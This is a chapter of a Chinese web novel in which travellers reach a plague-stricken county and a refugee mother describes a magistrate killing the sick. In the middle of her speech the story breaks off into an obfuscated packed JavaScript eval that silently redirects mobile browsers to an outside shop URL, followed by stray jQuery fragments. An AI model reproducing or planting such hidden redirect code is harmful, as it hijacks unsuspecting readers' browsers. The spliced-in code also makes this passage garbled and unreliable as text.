李钰将苏锦莹带回车内,而陆仁泽将马脖子上的首级取下。
首级上串着一根细绳,想必这杀人之人是有备而来。
陆仁泽将尸首拼好,让其他三人在车中坐好,一行人快马加鞭往朔延县走。
李钰怕苏锦莹受了惊吓便让周彩瑶抱紧她,安抚她的情绪。
刚刚杀人的人定是太傅派来的人。他们这次出行虽然已经行事低调,但平日里太傅皇后安插在他和陆仁泽身边的人让人防不胜防。
恐怕事情不只是贪污这么简单。太傅派人杀了他们的马夫已然是在警告他不要管朔延县的事,想让他知难而退。
一日的路程在陆仁泽的快马飞驰下缩短了时间,半日有余他们便到了朔延县。
下了马车,李钰同陆仁泽去附近找落脚处,而苏锦莹和周彩瑶在原地等他们。
周彩瑶将苏锦莹扶下马车,路边便有一人冲到她们面前。
“小姐,你们行行好,我家小孩已经两天没吃饭了,求求你们给些吃食给我们吧。”
面前跪在地上的女人疲惫的脸上满是黑黑的灰尘,身上穿着袖口被磨得起毛边的粗布做的褐色麻衣。
周彩瑶想上前将她抓住苏锦莹裙摆的手拍开,却被苏锦莹制止了。
苏锦莹瞧见不远处房屋边躲着的一个矮小的小女孩。她微微探头,眨巴着圆圆的眼睛胆怯地看着她们。
想必那便是眼前这女人的孩子。
仔细看四周的房屋建筑,朔延县的居民应当不算贫困。但奇怪的是这街上除了眼前这对母女外便再无他人。
苏锦莹不顾周彩瑶阻拦伸手将眼前的女人扶起。
“小姐,求求你们了。”女人继续求她们,只因她们穿着华贵,一看就是刚到这的外乡人。
小女孩见自己的母亲被苏锦莹扶起后,知晓苏锦莹她们并不是坏人,便从远处迈着小碎步跑到母亲的身后躲着。
看着满脸是尘土嘴唇微微泛白的小女孩,周彩瑶终是于心不忍,将口袋中之前留的小块白饼递给她。
小女孩见了之后快速将饼夺了过去,掰下一半递给身前的女人后,将另一半一把塞进嘴里。
“谢谢,谢谢小姐。”
“这里是发生了什么事?街上怎么没人?”
虽然她们知道朔延县算是疫区,但眼下除了二人外再无其他人,着实奇怪。
女人左顾右盼,眼中略带胆怯与恐惧。
“小姐们,可否借一步说话?”女人看了看她们身后的马车。
苏锦莹警觉起来,眼前此人虽看着确实像是难民,但有什么话是不能现在直说的,难不成她和先前杀死马夫的人有关。
周彩瑶也察觉到此处和眼前之人的怪异,背在身后的手里将袖口藏着的小刀握在手上。
“娘,我们快走吧,我害怕,他们是不是又要来抓我们了。”小女孩的小手紧紧地抓着女人的衣服,往身后望了望。
李钰和陆仁泽走到街的尽头仍未发现正开着门迎客的酒家。
街边店面皆大门紧闭,不少店门外两侧的绿植都纸业杂乱,像是很久没被打理过的样子。
于是他们便放弃在此落脚,返回马车处。
李钰见一个女人和一个小孩跪坐在苏锦莹面前,以为是博同情的刺客,快步走到她们身边,拔剑用剑抵住女人的脖子。
“你是何人?”
“娘,我害怕。”小女孩看见被太阳照得反光的剑刃瞬间被吓破了胆,豆大的泪珠从眼中滑落。她将身前的女人紧紧抱住。
“朱有财!”苏锦莹皱眉用眼神示意他将剑放下,但他并未理会。
“这位公子,想必你同这两位心善的小姐是一行人。我绝无恶意。”
“绝无恶意?这整条街就只有你们两个人,说到底是谁派你们来监视我们?”
“娘,我错了,我再也不说我饿了。”小女孩继续嚎啕大哭。
苏锦莹看着小女孩哭花的脸心中不忍,“朱有财,把剑放下。”
这小孩的哭声让李钰听得心中烦闷。他将剑从女人的颈肩边抽回。
“谢小姐。”女人给苏锦莹磕了个头。
苏锦莹和周彩瑶将女人和小孩扶起。
一旁陆仁泽这时才走到她们面前,“你们二人是这的居民?这里其他人都去哪了?”
女人再次四顾环视,欲言又止。
难道是此处另有危险?
周彩瑶将苏锦莹拉到一边小声商讨。她们这才决定先带着这母女两,让她们和他们一起去孙家村,让这女人在路上说明最近这附近发生的事。
周彩瑶将袖口藏着的小刀时刻备着,倘若这女人有古怪,她便一刀将她杀.死。
苏锦莹招呼母女两上车,而周彩瑶走到李钰和陆仁泽身边说方才她们讨论的计划。
李钰点头默许后,她们便都坐上了马车,李钰和陆仁泽则牵着马走路前行。
“娘,这车可真好看。”小女孩应当是第一次坐马车,坐上车后边两眼放光,脏兮兮的小手左摸摸右摸摸,好奇心十足地探索着。
女人将她的手握住,不让她到处乱碰。“小莲,你安分些。”
“知道了,娘。”小女孩低头。
马车缓缓前行,苏锦莹见小女孩童真的样子逐渐放下心中防备,“现在车上只有我们四人,你可否同我们说说朔延县究竟发生了什么?”
女人露出苦笑,“小姐,既然你想知道那我便说就是。”
“一切还要从三个月前的洪灾说起。不知为何今年雨季绵延,降水比往年多上不少。洪水从山上冲下,如野兽般破坏了不少村庄。许是事态严重,地方官员上报了朝廷讨要来了一些赈灾粮。可就是因为这些赈灾粮,这片地方的百姓才得了那会死人的怪病。”
“难不成刚刚那条街上原本住着的人都死了?”周彩瑶疑惑。
女人摇头,“并没有小姐你想得如此严重,但确实死了很多人。我想你们应当也看到了方才街上无一家商铺打开大门,街上除了我和我的女儿没有别的人。那是因为县长吴功德怕病疫蔓延,便将他们都抓去集中管理。”
“集中管理应当是好事,你为何没去?”
“非也,起初我也同小姐你想的一样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792157|210426||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
以为和他们走便会无事。但那日晚上我瞧见有人白天刚染病便被吴功德派人抓去,直接用长矛刺死,丢.尸荒野。我害怕极了,只好连夜带着小女又跑回了这里。”
小女孩蜷缩成一团,抱紧女人,“娘,我害怕。”
“好孩子,不怕,这些姐姐哥哥是好人。”
女人用手安抚小女孩。
刚染病就直接刺死,这县长吴功德未免也太过残忍。
“你可知这县长将人集中到何处去了?”
女人摇了摇头,“我逃跑的时候还未到他们集中管理的地方,我是在路上带着小女一起连夜出逃的。当时还有人想抓我们,但好在那晚我们找到了个山洞躲过一劫。”
朔延县离孙家村并不远,不到半日,他们便到了孙家村。
天色已黑,村里除了他们马车前行的声音只有树上的蝉鸣声。
孙建安早几天接到信鸽传来的信,知道他们会来孙家村便早早站在村口等他们。
“太子......”
“咳咳。”
“公子,你们终于来了。”孙建安接过李钰递来的行囊后发现站在他们身后女人和小孩,“孙叶兰!你怎么会在这。”
孙叶兰忸怩的样子,让苏锦莹产生了好奇。难不成这女人是孙家村的人。
将行李放好后,孙建安将他们喊到房中商榷之后的事。
“这孙叶兰是什么人?”苏锦莹好奇便问孙建安。
“孙叶兰本是我们孙家村的人,早年听说嫁去朔延县的富贵人家里后便一直没了音讯。”
苏锦莹想起孙叶兰被磨得起毛边的衣袖来,想来她定对他们孙家村的人说了谎。
李钰为刚刚收完行李满头是汗的孙建安倒了杯茶,“孙家村近日如何?”
“公子,前几日我便是因为家中有人染病才回的孙家村。你们放心,村长将他们都集中到了村长自己的家隔离,目前只有五人染上这病,而且都只有发热的症状。”
孙建安挤出笑脸对苏锦莹作揖鞠躬,“想来还得谢谢苏姑娘之前给的药方,我让村长按那药方给大家喝药,这才让大家都免受这怪病折磨。”
苏锦莹摇了摇头,“不必言谢,那药能救人便是好事。可有人喝下药后仍染上这病。”
孙建安思索片刻后,“确实也有人是喝了之后染上的。难道这病只有染病前喝才有用?”
苏锦莹眉头微皱,果然她担心的情况还是出现了。
“今日大家舟车劳顿,各自回房休息明日再细说此事。”李钰担心苏锦莹这一路上过于辛劳,便招呼大家各自回房。
等苏锦莹和周彩瑶被孙建安的母亲孙大娘带走后,李钰才关上房门同孙建安说起路上发生的事。
孙建安下跪,“太子陛下,是属下失职,害得您险些被贼人害。”
“起来吧,这事不怪你。眼下最重要的除了解决疫病一事,还要调查是谁派人杀了马夫,太傅是否和这有关。”
夜色静谧,却危机四伏。
第二日清晨苏锦莹被房外的哭声吵醒。
“救命啊,我不想死!”